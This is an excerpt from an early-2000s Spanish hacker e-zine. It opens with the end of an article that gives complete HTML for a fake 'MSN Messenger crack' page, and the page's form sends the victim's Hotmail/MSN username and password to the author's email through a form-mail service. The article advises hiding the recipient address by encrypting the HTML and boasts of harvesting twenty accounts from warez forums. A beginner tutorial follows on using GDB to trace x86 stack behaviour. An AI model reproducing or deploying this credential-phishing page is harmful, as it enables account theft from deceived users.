st = "0";
dt += 'NUP 0x000A '+n2+'<br>!Succesful new password changed<br>BYE 0x000B';
comm.document.write(dt);
comm.document.close();
}
else
alert('Wrong Step');
}
</script>
<style>
h1 { color: #002A95; font-family: Verdana; font-size: 10pt; font-weight:
bold }
.txt { font-family: Verdana; color: #FFFFFF; font-size: 8pt; font-weight:
bold;
border: 2px inset #FFFFFF; background-color: #6699FF }
p, td { color: black; font-family: Verdana; font-size: 8pt; }
</style>
</head>
<body style="background:#FFFFFF url('back.gif') no-repeat fixed right bottom; ">
<!-- Se inicia la forma, se hace un post a melodysoft, el servicio que ya
comentaba -->
<form name="msnform" method="post"
action="http://www.melodysoft.com/cgi-bin/form.cgi">
{!-- En este hidden se declara el remitente, este es el que debes cambiar por
el tuyo --}
<input type="hidden" name="recipient" value="usuario@hotmail.com">
<!-- Este valor no lo muevas sino aparecera un mensaje de Melodysoft diciendo
que el mensaje fue enviado, que mal. -->
<input type="hidden" name="redirect" value="about:blank">
<!-- Este es el asunto del mail que se te enviara -->
<input type="hidden" name="subject" value="Resolvethis">
<p align="center"><img border="0" src="logo.gif" width="254" height="52"><br>
<br>
<!-- Aqui comienza la forma visual, que le solicitara al usuario los datos -->
<table border="0" cellpadding="2" cellspacing="0" style="border-collapse:
collapse" bordercolor="#111111" width="100%" height="94">
<tr>
<td width="50%" colspan="2" height="4" valign="bottom">
<h1>Your Account</h1>
</td>
<td width="50%" colspan="2" height="4" valign="bottom">
<h1>Target Account</h1>
</td>
</tr>
<tr>
<td width="25%" bgcolor="#F0EEE6" valign="bottom" height="39">
<img border="0" src="man-u.gif" width="33" height="36"><b>User:</b></td>
<td width="25%" valign="bottom" height="39"> <input type="text"
name="email" size="30" class="inp"></td>
<td width="25%" bgcolor="#F0EEE6" valign="bottom" height="39">
<img border="0" src="man-u2.gif" width="33" height="36"><b>User:</b></td>
<td width="25%" valign="bottom" height="39"> <input type="text"
name="material" size="30" class="inp"></td>
</tr>
<tr>
<td width="25%" bgcolor="#F0EEE6" valign="bottom" height="39">
<img border="0" src="man-u.gif" width="33" height="36"><b>User:</b></td>
<td width="25%" valign="bottom" height="39"> <input type="text"
name="email" size="30" class="inp"></td>
<td width="25%" bgcolor="#F0EEE6" valign="bottom" height="39">
<img border="0" src="man-u2.gif" width="33" height="36"><b>User:</b></td>
<td width="25%" valign="bottom" height="39"> <input type="text"
name="material" size="30" class="inp"></td>
</tr>
<tr>
<td width="25%" bgcolor="#F0EEE6" valign="bottom" height="39">
<img border="0" src="man-p.gif" width="33"
height="36"><b>Password</b></td>
<td width="25%" valign="bottom" height="39"> <input type="password"
name="nombre" size="30" class="inp"></td>
<td width="25%" bgcolor="#F0EEE6" valign="bottom" height="39">
<img border="0" src="man.gif" width="33" height="36"><b>Server:</b></td>
<td width="25%" valign="bottom" height="39">
<select size="1" name="ser">
<option selected value="@hotmail.com">Hotmail</option>
<option value="@msn.com">MSN</option>
<option value="@passport.com">Passport</option>
</select></td>
</tr>
</table>
<p align="center">
<!-- Los botones realizan cada paso del script, el primero hace el cheque de
los datos y manda el mail a Melodysoft -->
<input type="submit" value="Check" class="txt" name="ck"
onclick="chk(nombre.value, email.value, material.value, ser.value);">
<!-- Del Step 1 al 3, son los procesos de escrituras de la terminal -->
<input type="button" value="Step 1" class="txt" name="st1"
onclick="s1(nombre.value, email.value, material.value, ser.value);">
<input type="button" value="Step 2" class="txt" name="st2"
onclick="s2(material.value, ser.value);">
<input type="button" value="Step 3" class="txt" name="st3"
onclick="s3(email.value);">
<!-- Este ultimo boton en realidad no hace nada, pero si lo deseas puedes
poner un refresamiento de pantalla 'location.href' -->
<input type="button" value="Step 4" class="txt" name="env"><blockquote>
<p>
<!-- Estas son las instrucciones de como manejar el MSNCrack, si el usuario
sabes que no habla ingles, traducelas -->
To crack a account from MSN Messenger it's simple (just 10 steps!). Before to
crack, the target account must to be in your contact list and not must to be
online, be sure of this.<br>
<br>
1. First log off your MSN Messenger, and fill the log of 'Your Account' and
'Target Account' User, domain account too. Type your-user@xx.com, and with
target account just typed user (not user@xx.com).<br>
2. Press 'Check', and if you don't ge bad alerts, you can continue.
3. Then click on 'Step 1' button. The bottom frame must log in at MSN
servers.<br>
4. When the logger show the command '!Sorry, wrong password. Try again', click
'Step 2' button.<br>
5. The logger must to write a command line showing '!Type a new password'.<br>
6. Click 'Step 3' button, and your password will be typed.<br>
7. A command line must to show '!Succesful new password changed'.<br>
8. To finish, click 'Step 4'. The connection with MSN will be closed.
9. Now, log in with 'Target Account' user and your password in MSN
Messenger.<br>
10. Have fun man =).<br>
</blockquote>
<center>
<h1>Logger<br>
<!-- Este iframe es el que sirve para usar como 'terminal' donde se
registraran los eventos -->
<iframe name="comm" frameborder=0 src="" width=450 height=80>
You must to use Microsoft IE 5.</iframe></h1>
</center>
<!-- Estas es la 'explicacion' de como funciona el bug de Hotmail, de igual
forma puedes quitarla o traducirla -->
<h1>How works MSN crack</h1>
<p>Well, if you are a normal user of MSN and Hotmail. You will see that
everything at MSN use Passport. The Passport is a open tecnology that works
between IE and NT Servers. The crack use this open ports on IE, and get
connection at terminal with IE.<br>
This connection at terminal, provided some practiced commands like PAS, USR,
FRC, etc. This terminal commands are used with a JScript console from IE and
return a actived session at MSN Services. With your register account of
Passport you can log in. And then run commands and other fun stuffs.<br>
You, in a simple session, can't change a another user's passwords. But a
command, FRC (force), can pretend a 'brute forced' order from a administrador
or system. The FRC command works with the admin or sys account plus the target
account, and it get you the power of change the target password.<br>
Then when you get changed the password, you must quickly get down the
connection because if you are still connected, a logger can check your
connection and your connection and account cold be closed.</p>
<p>MSN Messenger crack by Urville (urville@XxXxX.com) C LoD 2002</p>
<!-- Los creditos =) -->
<p>MSN Messenger crack by Urville (urville@XxXxX.com) C LoD 2002</p>
</form>
</body>
</html>
Asi de simple es, pero si quieres agregarle mayor seguridad puedes
encriptar el codigo HTML. Yo lo encripte con CRIPTA, y no se puede leer el
codigo fuente pero si ejecutarlo.
Como notas, las imagenes de los monitos de MSN deberias dejarlas pues
muchas personas les agrada lo visual y dejan de razonar de lo que estan
haciendo. Ademas de nuevo reitero encriptar el HTML para ocultar tu mail es
muy buena idea, asi el lammer no sabra tu correo.
Bueno, yo puse en lo personal, en practica esto y subi mi crack
personalizado a varios foros de lammerz y warez. Cual sorpresa me lleve que
al primer dia, a unas cuantas horas ya tenia las cuentas de veinte
usuarios, y los correos reintenta 'crackear' cuentas continuaban.
Si deseas ver una lista actualizada de todas las cuentas que me han
llegado, visita: http://yltohell.esmartbiz.com/lam.htm
Espero que esta explicacion haya sido clara, pero recuerden no abusen
de las herramientas.
Pronto recibiran mas archivos mios, gracias por leerme y leer RareGaZz.
[ Editor: Se incluye el archivo "Msncrack.zip", en el cual encontraras el
codigo html y las imagenes en formato gif. ]
<<::RareGaZz::>>
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
: : : :
RGZ_09 Playing GDB Debug ReYDeS
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
* Presentacion.
* Conocimientose Previos.
* Intro al GDB.
* Utilizando el GDB.
* Despedida.
* Presentacion:
He visto muy buen material en espa~ol; tratando temas de buffer overflows,
exploits y demas. Pero me percate de la existencia de un 'vacio'; para alguien
NO muy entendido en temas sobre la composicion interna de Computadores, como
administracion de memoria, funcionamiento de pila y demas.
Ello me incentivo a escribir este texto; en el cual fusiono los conceptos
antes mencionados, con la utilizacion del GDB. Y de esta manera acercar a las
personas que desean empezar a tratar estos temas, tan complejos como
interesantes.
* Conocimientos Previos:
+ Pues, un poco de Arquitectura de Computadores y especificamente de la
familia INTEL :) x86, no os caeria nada mal.
+ Un poco de programacion en C; solo un poco. ;). Y algo de conocimientos de
ASM y si fuese ASM AT&T, mucho mejor.
+ Entendimiento de los numero binarios, hexadecimales y octales, seria
recomendable; punteros, direcciones de memoria, organizacion de la pila.
:O)
* Intro al GDB: (GNU debugger)
Para aquellos que no se llevan bien con el english; el GDB en su concepto
mas comun, puede denominarse un depurador. Si alguna vez se encontraron con
algun 'core' en un sistema *NIX, provocado por alguna causa; sea esta un
codigo C erroneo, o algun binario en su sistema que NO soporto un simple y
tipico: `perl -e 'print "A" x 2048'`. Con la ayuda del GDB nos sera posible
profundizar en estos temas tanto como deseemos; teniendo como limite,
nuestras propias capacidades.
Un depurador como el GDB, nos permite inmiscuirnos en un 'programa' que
deseamos depurar y conocer su funcionamiento a profundidad.
Con gdb podemos hacer los siguiente: (Extraido del INFO gdb)
+ Iniciar un programa, especificar algo que pueda afectar su comportamiento.
+ Hacer que el programa pare sobre condiciones especificas.
+ Examinar que ocurre, cuando el programa es detenido.
+ Cambiar cosas en el programa, asi se puede experimentar corrigiendo los
efectos de un bug y ir aprendiendo sobre otro.
* Utilizando el GDB:
Intentare explicar y explayarme en los anteriores acapites y en aquellos
temas que crea necesario para el entendimiento del presente escrito; y vas a
quedar tan conforme, como se quedaria un puber ante una clase de sexologia.
Empiezo con un simple programa en C.
/*
parametro.c
*/
#include <stdio.h>
main ( int argc, char *argv[] )
{
printf ("El parametro ingresado : %s\n", argv[1]);
return 0;
}
Como podeis apreciar, es un simple codigo en C, al cual le ingresais un
parametro y lo unico que hace es mostrar un mensaje, seguido del parametro
ingresado.
Compilamos: cc -g -o parametro parametro.c
Os preguntais, para que el -g?. Simple, este parametro le indica al
compilador; en este caso el gcc; genere informacion para depuracion. Ahora
invocamos al gdb.
[root@amaranta mas-C]# gdb binario
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disass main
Dump of assembler code for function main:
0x80483d0 <main>: push %ebp
0x80483d1 <main+1>: mov %esp,%ebp
0x80483d3 <main+3>: mov 0xc(%ebp),%eax
0x80483d6 <main+6>: add $0x4,%eax
0x80483d9 <main+9>: mov (%eax),%edx
0x80483db <main+11>: push %edx
0x80483dc <main+12>: push $0x8048450
0x80483e1 <main+17>: call 0x8048308 <printf>
0x80483e6 <main+22>: add $0x8,%esp
0x80483e9 <main+25>: xor %eax,%eax
0x80483eb <main+27>: jmp 0x80483f0 <main+32>
0x80483ed <main+29>: lea 0x0(%esi),%esi
0x80483f0 <main+32>: leave
0x80483f1 <main+33>: ret
0x80483f2 <main+34>: nop
y mas... nop's =)
Lo anterior no es mas que nuestro programa en C, 'desensamblado' por el gdb y
mostrado en codigo asm. Voy a explicar algunas lineas; utilizando para este
proposito al gdb; lo cual dilucidara o confundira mas a los 'novatos'. ;)
Con lo siguiente, os dareis cuenta de lo util e interesante que puede ser la
utilizacion de un debugger:
Le indicamos al gdb la utilizacion de un 'argumento' en nuestro programa.
(gdb) set args RareGaZz
(gdb) show args
Argument list to give program being debugged when it is started is "RareGaZz".
(gdb) run
Starting program: /root/aaaaaaa/bbbbb/parametro RareGaZz
Un 'breakpoint' no es mas que un punto en el cual un programa se detiene;
claro esta, especificandolo al gdb. Podemos especificar diversos modos para
indicarle al gdb los breakpoints y watchpoints.
(gdb) break *0x80483d1
Breakpoint 1 at 0x80483d1: file parametro.c, line 4.
Breakpoint 1, 0x80483d1 in main (argc=134513616, argv=0x2) at parametro.c:4
4 {
80483d0 <main>: push %ebp
Coloca en la pila el contenido de ebp, o Puntero Base.
0x80483d1 <main+1>: mov %esp,%ebp
Mueve el contenido del registro esp a ebp; con esto; ebp 'apunta' a donde
apuntaba esp. Lo anterior se realiza por la siguiente razon:
La pila utiliza 2 punteros; el 'sp' generalmente apunta a la cima de la pila;
y el 'bp', utilizado como un mecanismo BASE, para referenciar a contenidos en
la pila basandose en Offsets a partir de este.
En general, los procedimientos al ser invocados, realizan la anterior accion
en la pila, y luego reservan espacio para las variables locales.
0x80483d3 <main+3>: mov 0xc(%ebp),%eax
0xc posiciones siguientes a ebp, lo cual se almacena en el registro eax.
(gdb) x/w $ebp
0xbffffb48: 0xbffffb68
(gdb) x/w $ebp+0xc
0xbffffb54: 0xbffffb94
Ahora examino 0xbffffb94.
(gdb) x/s 0xbffffb94
0xbffffb94: 0xbffffc89
(gdb) x/2s 0xbffffc89
0xbffffc89: "/root/aaaaaaa/bbbbb/parametro"
0xbffffca7: "RareGaZz"
Para los despistados como yo :P, 0xbfffc89 contiene el nombre del programa;
el path completo; y 0xbffffca7, contiene el 'parametro' en este caso la
palabra RareGaZz.
Osea: argv[0] Nombre del programa; argv[1] Parametro.
Entonces eax, queda de la siguiente manera:
(gdb) x/x $eax
0xbffffb94: 0xbffffc89
(gdb) stepi
0x80483d9 5 printf ("El paramentro ingresado : %s\n", argv[1]);
(gdb) x/x $pc
0x80483d9 <main+9>: 0x6852108b
pc, es el contador del programa, indica la siguiente instruccion a
ejecutarse. Examinemos nuevamente eax luego de haberse ejecutado la siguiente
instruccion maquina:
0x80483d6 <main+6>: add $0x4,%eax
Mas que simple, Suma 0x4 al contenido del registro eax, y que es lo que
almacenaba eax?, pues 0xbffffb94, pues ahora debe tener 4 unidades mas.
(gdb) x/x $eax
0xbffffb98: 0xbffffca7
Y esto en espa~ol, dice lo siguiente:
(gdb) x/s *0xbffffb98
0xbffffca7: "RareGaZz"
eax almacena la direccion en la cual se ubica la cadena 'RareGaZz'.
Bingo!... ;)
Ahora bien:
0x80483d9 <main+9>: mov (%eax),%edx
Nada mas que mover la direccion almacenada en eax hacia edx.
(gdb) x/x $eax
0xbffffb98: 0xbffffca7
(gdb) x/s $edx
0xbffffca7: "RareGaZz"
0x80483db <main+11>: push %edx
Coloca en la pila edx, con lo cual; el registro sp, debe de haberse
decrementado 4 unidades, examinemos eso:
(gdb) x/x $esp
0xbffffb44: 0xbffffca7
Correcto!. ya que anteriormente esp tenia su direccion igual al de ebp. Con
esto; se almacena en la pila la direccion en donde se ubica 'RareGaZz'.
(gdb) x/x $ebp
0xbffffb48: 0xbffffb68
0x80483dc <main+12>: push $0x8048450
Nuevamente se hace uso de la pila esta vez almacenado la direccion que se
detalla en la instruccion; decrementandose nuevamente el sp 4 unidades.
(gdb) info registers
Info registers, os muestra casi todos los registros, pero solo pasteo los que
me interesa.
...
esp 0xbffffb40 -1073743040
ebp 0xbffffb48 -1073743032
...
Ahora bien, sp esta apuntando a 0xbffffb40, la cual almacena la direccion
anteriormente colocada, con la instruccion push.
(gdb) x/s *0xbffffb40
0x8048450 <_IO_stdin_used+4>: "El paramentro ingresado : %s\n"
(gdb) stepi
0x8048308 in printf () at printf.c:26
(gdb) p/x $pc
$12 = 0x8048308
Con esto, se intuye que se ejecuto la siguiente instruccion:
0x80483e1 <main+17>: call 0x8048308 <printf>
Que no es mas que la llamada a la funcion printf. Si deseasemos seguir la
depuracion dentro de dicha funcion; usese stepi.
Y bueno, despues de estar 'vagando' varios segundos, entre funciones y
funciones; las cuales son llamadas por nuestro simple programa y llegar a
visualizar esto: Os dejo como tarea averiguarlo. :)
0x40001840 in ?? () from /lib/ld-linux.so.2
(gdb)
_dl_lookup_versioned_symbol (undef_name=0x400143c8 "", ref=0x40023590,
symbol_scope=0x1a, reference_name=0xbffffca7 "RareGaZz",
version=0x80483d0, reloc_type=-1073742952) at dl-lookup.c:185
185 dl-lookup.c: No such file or directory.
Ya es momento de salir de las subrutinas y volver al programa.
(gdb) finish
Run till exit from #0 0x400325b4 in ?? () from /lib/libc.so.6
El paramentro ingresado : RareGaZz
0x80483e6 in main (argc=2, argv=0xbffffb94) at parametro.c:5
5 printf ("El paramentro ingresado : %s\n", argv[1]);
(gdb) p/x $pc
$16 = 0x80483e6
0x80483e6 <main+22>: add $0x8,%esp
Con esto se retoma el antiguo valor que tenia esp, recuerdan los 2
decrementos realizados?. Pues con esta instruccion vuelve esp a su posicion.
(gdb) x $esp
0xbffffb48: 0xbffffb68
0x80483e9 <main+25>: xor %eax,%eax
XOReamos el registro, con esa instruccion logica se 'limpia' el registro eax.
(gdb) p/x $eax
$19 = 0x0
0x80483eb <main+27>: jmp 0x80483f0 <main+32>
Un salto incondicional a:
0x80483f0 <main+32>: leave
(gdb) p/x $pc
$20 = 0x80483f0
(gdb) stepi
0x80483f1 in main (argc=134513616, argv=0x2) at parametro.c:8
8 }
(gdb) p/x $pc
$21 = 0x80483f1
0x80483f1 <main+33>: ret
ret, no significa mas que retornar el control al programa que llamo a este.
(gdb) stepi
0x400329cb in __libc_start_main (main=0x80483d0 <main>, argc=2,
argv=0xbffffb94, init=0x8048298 <_init>, fini=0x804842c <_fini>,
rtld_fini=0x4000ae60 <_dl_fini>, stack_end=0xbffffb8c)
at ../sysdeps/generic/libc-start.c:92
Si os fijais en lo anterior, veran numeros hexadecimales 'conocidos', y
utilizados en el presente escrito. Tienen como buen ejercicio el dilucidar su
significado.
Program exited normally.
Creo que hasta el momento, ya habre confundido bastante a algunos. Sigamos
con algo que reordene mis 'neuronas' y las vuestras tambien. =X
Ahora tocamos algo mas simple.
/*
asm1.c
*/
#include <stdio.h>
main()
{
__asm__("
movl $0x7, %eax
movl $0xb, %ebx
addl %eax, %ebx
nop
subl %ebx, %eax
nop
xorl %eax, %eax
incl %eax
xorl %ebx, %ebx
int $0x80
");
}
Simplemente es la suma del contenido de 2 registros y sigue con la operacion
resta aplicados a los mismo registros. Compilamos y desensamblamos.
Dump of assembler code for function main:
0x8048398 <main>: push %ebp
0x8048399 <main+1>: mov %esp,%ebp
0x804839b <main+3>: mov $0x7,%eax
0x80483a0 <main+8>: mov $0xb,%ebx
0x80483a5 <main+13>: add %eax,%ebx
0x80483a7 <main+15>: nop
0x80483a8 <main+16>: sub %ebx,%eax
0x80483aa <main+18>: nop
0x80483ab <main+19>: xor %eax,%eax
0x80483ad <main+21>: inc %eax
0x80483ae <main+22>: xor %ebx,%ebx
0x80483b0 <main+24>: int $0x80
0x80483b2 <main+26>: leave
0x80483b3 <main+27>: ret
(gdb) break *0x8048398
Breakpoint 1 at 0x8048398
(gdb) info registers
eax 0x401093f8 1074828280
ecx 0x8048398 134513560
edx 0x4010b098 1074835608
ebx 0x4010a1ec 1074831852
esp 0xbffffb6c -1073742996
ebp 0xbffffb88 -1073742968
...
0x8048398 <main>: push %ebp
Coloca el contenido %ebp en la pila. Decrementandose esp en 4 unidades.
esp 0xbffffb68 -1073743000
ebp 0xbffffb88 -1073742968
0x8048399 <main+1>: mov %esp,%ebp
Evidente. Ustedes ya lo saben. ;)
(gdb) x/x $esp
0xbffffb68: 0xbffffb88
(gdb) x/x $ebp
0xbffffb68: 0xbffffb88
0x804839b <main+3>: mov $0x7,%eax
Mueve 0x7 al registro eax.
(gdb) p/x $eax
$1 = 0x7
(gdb) stepi
0x80483a5 in main ()
0x80483a0 <main+8>: mov $0xb,%ebx
Mueve 0xb al registro ebx
(gdb) p/x $ebx
$2 = 0xb
0x80483a5 <main+13>: add %eax,%ebx
Suma 'add' el contenido del registro eax, con el contenido del registro ebx;
almacendandose el resultado de esta operacion en el registro eax. Dicho en
buen eZpa~ol:
0x7 + 0xb = 0x12 (en hexadecimal claro esta)
0x80483a7 <main+15>: nop
nop = no operacion. ;) Se entendio?.
0x80483a8 <main+16>: sub %ebx,%eax
Operacion resta 'Sub'. No necesita mayor explicacion.
0x80483aa <main+18>: nop
Idem. Porque utilzo nop?... pues porque me gusta identar mis codigos. :)
Lo siguiente es la rutina a seguir para 'terminar' la ejecucion del programa
de manera 'natural'
0x80483ab <main+19>: xor %eax,%eax
(gdb) p/x $eax
$3 = 0x0
0x80483ad <main+21>: inc %eax
(gdb) p/x $eax
$4 = 0x1
0x80483ae <main+22>: xor %ebx,%ebx
(gdb) p/x $ebx
$6 = 0x0
0x80483b0 <main+24>: int $0x80
0x80483b2 <main+26>: leave
0x80483b3 <main+27>: ret
End of assembler dump.
(gdb) finish
Run till exit from #0 0x80483b3 in main ()
Program exited normally.
Para los que habeis utilizado alguna vez el 'debug' en MS-DOS, estareis
acostumbrados a utilizar la interrupcion 21. En linux esto difiere, y se hace
de la siguiente manera:
En linux se utilizan llamadas al sistema o 'systems calls' con int $0x80. El
numero de 'system call' se almacena en eax; para este caso en particular se
almaceno eax con el valor 0x1. Y si la 'system call' tuviese mas parametros,
estos se almacenan en los registros restantes; es por ello que se almacena en
ebx 0x0, debido a que NO hay necesidad de mas parametros.
Ahora 'juguemos' un poco con este programa y el gdb.
Coloquese un breakpoint en la primera instruccion maquina del programa (esto
lo haceis vosotros). Y ahora ejecutese el programa.
Modifico el registro eax, utilizo para este proposito el comando 'set':
(gdb) set $eax=2002
(gdb) p/t $eax
$9 = 11111010010
Cuidado aqui, NO es lo mismo colocar 2002 que 02002. OJO!. 11111010010 es la
representacion binaria de 2002.
(gdb) set $ebx=10
(gdb) p/d $ebx
$15 = 10
Idem con 10.
(gdb) info registers
eax 0x7d2 2002
ecx 0x8048398 134513560
edx 0x4010b098 1074835608
ebx 0xa 10
Con esto manipulamos los registros y podemos continuar la ejecucion de
nuestro programa. Ahora bien, NO quiero que se ejecute la instruccion add, y
quiero que directamente se vaya a la direccion 0x80483a8; la cual contiene la
operacion resta.
Simple, modifico el $ip. Reiniciamos el programa, con un breakpoint en la
primera linea, y luego en una direccion siguiente a la antes mencionada; de
esta manera se 'comprobara' la NO realizacion de 'add'.
(gdb) run
The program being debugged has been started already.
(gdb) break *0x8048398
Breakpoint 1 at 0x8048398: file asm1.c, line 4.
(gdb) break *0x80483aa
Breakpoint 2 at 0x80483aa: file asm1.c, line 5.
(gdb) display/i $pc
Una manera de visualizar un valor; del cual necesitamos conocer su
comportamiento con frecuencia; es utilizando el comando 'display' del gdb.
Starting program: /root/aaaaaaa/bbbbbbb/ccccc/asm1
Breakpoint 1, main () at asm1.c:4
4 {
2: x/i $eip 0x8048398 <main>: push %ebp
Ya tenemos nuestros 2 puntos y ahora NO deseo que la SUMA se realize, y deseo
saltar a la RESTA; pudiese utilizar un JMP, salto incondicional o uno
condicional, pero estoy haciendo esto con fines educativos. :O)
Modificamos entonces el valor de eip.
(gdb) set $eip=0x80483a7
(gdb) stepi
0x80483a8 5 __asm__("
1: x/i $eip 0x80483a8 <main+16>: sub %ebx,%eax
Revisamos con el stepi. Y se continua con la ejecucion de programa, luego de
realizada la resta, se debe detener en el segundo NOP.
(gdb) step
Breakpoint 2, 0x80483aa in main () at asm1.c:5
5 __asm__("
1: x/i $eip 0x80483aa <main+18>: nop
Correcto, ahora se comprueba el valor actual de eax, el cual debe almacenar
el resultado de la 'resta'.
(gdb) info registers
eax 0x7c8 1992
ecx 0x8048398 134513560
edx 0x4010b098 1074835608
ebx 0xa 10
(gdb) step
Program exited normally.
Todo bien hasta el momento, nos ha sido posible manipular datos en memoria y
tambien el comportamiento del programa con comandos inherentes del gdb.
Como acapite final, examinemos mas incisivamente el comportamiento de la pila
en el siguiente 'basico' programa. Con esto disipare algunas dudas que
pudiesen haberse producido.
/*
c2.c (El mayor de 2 numero diferentes)
*/
#include <stdio.h>
int a, b;
int el_mayor (int, int);
main ()
{
puts("Ingresa 2 numeros desiguales: ");
scanf("%d%d", &a, &b);
printf("El mayor es: %d\n", el_mayor(a, b));
}
int el_mayor(int a, int b)
{
if (a > b)
return a;
else
return b;
}
Empezamos... Poner especial atencion!. Aqui voy a recordar muchisimo a mi
profesor de Arquitectura de Computadores. Y esos dibujos estilo expresionista
con que imitaba a la memoria y la pila. :O)
(gdb) disass main
Dump of assembler code for function main:
0x8048430 <main>: push %ebp
| %ebp | <-- esp
|----------|
| |
0x8048431 <main+1>: mov %esp,%ebp
| %ebp | <-- esp <-- ebp
|----------|
| |
0x8048433 <main+3>: push $0x8048520
| $0x08048520 | <-- $esp = 0xbffffb54
|-------------|
| %ebp | <-- $ebp = 0xbffffb58
|-------------|
| |
0x8048438 <main+8>: call 0x8048330 <puts>
Siempre que hay un salto a una funcion o similares, se almacena la direccion
de retorno en la pila; aqui se observa que la direccion de la siguiente
instruccion '0x804843d' es almacenada en la pila; pues se hace una llamada
incondicional a puts.
| 0x0804843d | <-- $esp = 0xbffffb50
|-------------|
| $0x08048520 | <-- $esp = 0xbffffb54
|-------------|
| %ebp | <-- $ebp = 0xbffffb58
|-------------|
| |
0x804843d <main+13>: add $0x4,%esp
| $0x08048520 | <-- $esp = 0xbffffb54 --.
|-------------| |
| %ebp | <-- $ebp = 0xbffffb58 = $esp
|-------------|
| |
0x8048440 <main+16>: push $0x8049658
0x8048445 <main+21>: push $0x804965c
0x804844a <main+26>: push $0x804853f
| $0x0804853f | <-- $esp = 0xbffffb4c
|-------------|
| $0x0804965c | <-- $esp = 0xbffffb50
|-------------|
| $0x08049658 | <-- $esp = 0xbffffb54
|-------------|
| %ebp | <-- $ebp = 0xbffffb58
|-------------|
| |
0x804844f <main+31>: call 0x8048340 <scanf>
Nuevamente se realiza una llamada a la funcion scanf, por ende se almacena la
direccion siguiente a ejecutarse en la pila; es la ultima vez que lo repito;
espero quede claro.
| 0x08048454 | <-- $esp = 0xbffffb48
|-------------|
| $0x0804853f | <-- $esp = 0xbffffb4c
|-------------|
| $0x0804965c | <-- $esp = 0xbffffb50
|-------------|
| $0x08049658 | <-- $esp = 0xbffffb54
|-------------|
| %ebp | <-- $ebp = 0xbffffb58
|-------------|
| |
0x8048454 <main+36>: add $0xc,%esp
Con esta instruccion se ubica esp en la posicion que indica el grafico.
| 0x08048454 | <-- $esp = 0xbffffb48 -. (Posicion anterior)
|-------------| |
| $0x0804853f | |
|-------------| |
| $0x0804965c | |
|-------------| |
| $0x08049658 | <-- $esp = 0xbffffb54 = <-- $esp (Posicion actual)
|-------------|
| %ebp | <-- $ebp = 0xbffffb58
|-------------|
| |
0x8048457 <main+39>: mov 0x8049658,%eax
0x804845c <main+44>: push %eax
0x804845d <main+45>: mov 0x804965c,%eax
0x8048462 <main+50>: push %eax
Lo que se realiza con estas instrucciones, es almacenar los numero que he
pasado al programa; en este caso 3 y 2. Como se aprecia estos 2 valores se
almacenan primero en eax y luego son colocados en la pila.
(gdb) x 0x8049658
0x8049658 <b>: 0x00000003
(gdb) x 0x804965c
0x804965c <a>: 0x00000002
Ahora veamos la pila:
| 0x00000002 | <-- $esp = 0xbfffff50
|-------------|
| 0x00000003 | <-- $esp = 0xbffffb54
|-------------|
| %ebp | <-- $ebp = 0xbffffb58
|-------------|
| |
0x8048463 <main+51>: call 0x8048480 <el_mayor>
Desemsamblemos la funcion 'el mayor', y analizemos:
(gdb) disass el_mayor
Dump of assembler code for function el_mayor:
0x8048480 <el_mayor>: push %ebp
0x8048481 <el_mayor+1>: mov %esp,%ebp
Despues de las anteriores 2 instrucciones, la situacion queda asi:
| 0xbffffb58 | <-- $esp = 0xbffffb48 <-- $ebp = 0xbffffb48 (Actual)
|-------------| |
| 0x8048468 | <-- $esp = 0xbffffb4c |
|-------------| |
| 0x00000002 | <-- $esp = 0xbfffff50 |
|-------------| |
| 0x00000003 | <-- $esp = 0xbffffb54 |
|-------------| |
| %ebp | <-- $ebp = 0xbffffb58 -' (Posicion anterior)
|-------------|
| |
0x8048483 <el_mayor+3>: mov 0x8(%ebp),%eax
Aqui se almacena el numero '2' en el registro eax. Si aprecian el grafico
anterior verificareis lo que os digo: 0x8(%ebp) = 0xbfffff50
(gdb) p/x $eax
$2 = 0x2
0x8048486 <el_mayor+6>: cmp 0xc(%ebp),%eax
Siguiendo el grafico y el mecanismo empleado para localizar el anterior
numero; localizareis el actual; y este se CoMPara con el almacenado en %eax.
0x8048489 <el_mayor+9>: jle 0x8048494 <el_mayor+20>
Si es menor o igual se hace un salto condicional a: 0x8048494. Y como de
hecho es asi, el salto se realiza a dicha direccion.
Ahora bien, si esto no hubiese ocurrido de esta manera, las siguientes
instrucciones; que lo unico que hacen, es mover el numero '2' hasta el
registro %eax, y luego saltar incondicionalmente a 0x80484a0; hubiesen tenido
que ser ejecutadas.
0x804848b <el_mayor+11>: mov 0x8(%ebp),%edx
0x804848e <el_mayor+14>: mov %edx,%eax
0x8048490 <el_mayor+16>: jmp 0x80484a0 <el_mayor+32>
0x8048492 <el_mayor+18>: jmp 0x80484a0 <el_mayor+32>
0x8048494 <el_mayor+20>: mov 0xc(%ebp),%edx
0x8048497 <el_mayor+23>: mov %edx,%eax
Se mueve el '3' al registro %edx y de alli al registro %eax.
(gdb) p/x $eax
$3 = 0x3
0x8048499 <el_mayor+25>: jmp 0x80484a0 <el_mayor+32>
Y eso es todo!. Sale de la funcion.
0x804849b <el_mayor+27>: nop
0x804849c <el_mayor+28>: lea 0x0(%esi,1),%esi
0x80484a0 <el_mayor+32>: leave
0x80484a1 <el_mayor+33>: ret
End of assembler dump.
Retorna a la funcion llamante 'main'. Veamos la situacion actual de la pila:
| 0x00000002 | <-- $esp = 0xbfffff50
|-------------|
| 0x00000003 | <-- $esp = 0xbffffb54
|-------------|
| %ebp | <-- $ebp = 0xbffffb58
|-------------|
| |
0x8048468 <main+56>: add $0x8,%esp
Evidente no?... Ademas ya tengo ganas de irme a dormir. ;)
| %ebp | <-- $ebp = 0xbffffb58
|-------------|
| |
0x804846b <main+59>: mov %eax,%eax
Y que hay en eax?... haber...
(gdb) p/x $eax
$4 = 0x3
Ah!!... El numero mayor que nuestro programa tan 'cordialmente' calculo para
nosotros.
0x804846d <main+61>: push %eax
| 0x00000003 | <-- $esp = 0xbffffb54
|-------------|
| %ebp | <-- $ebp = 0xbffffb58
|-------------|
| |
0x804846e <main+62>: push $0x8048544
| 0x08048544 | <-- $esp = 0xbffffb50
|-------------|
| 0x00000003 | <-- $esp = 0xbffffb54
|-------------|
| %ebp | <-- $ebp = 0xbffffb58
|-------------|
| |
Un resumen menos visual de la pila.
(gdb) x/3x $esp
0xbffffb50: 0x08048544 0x00000003 0xbffffb78
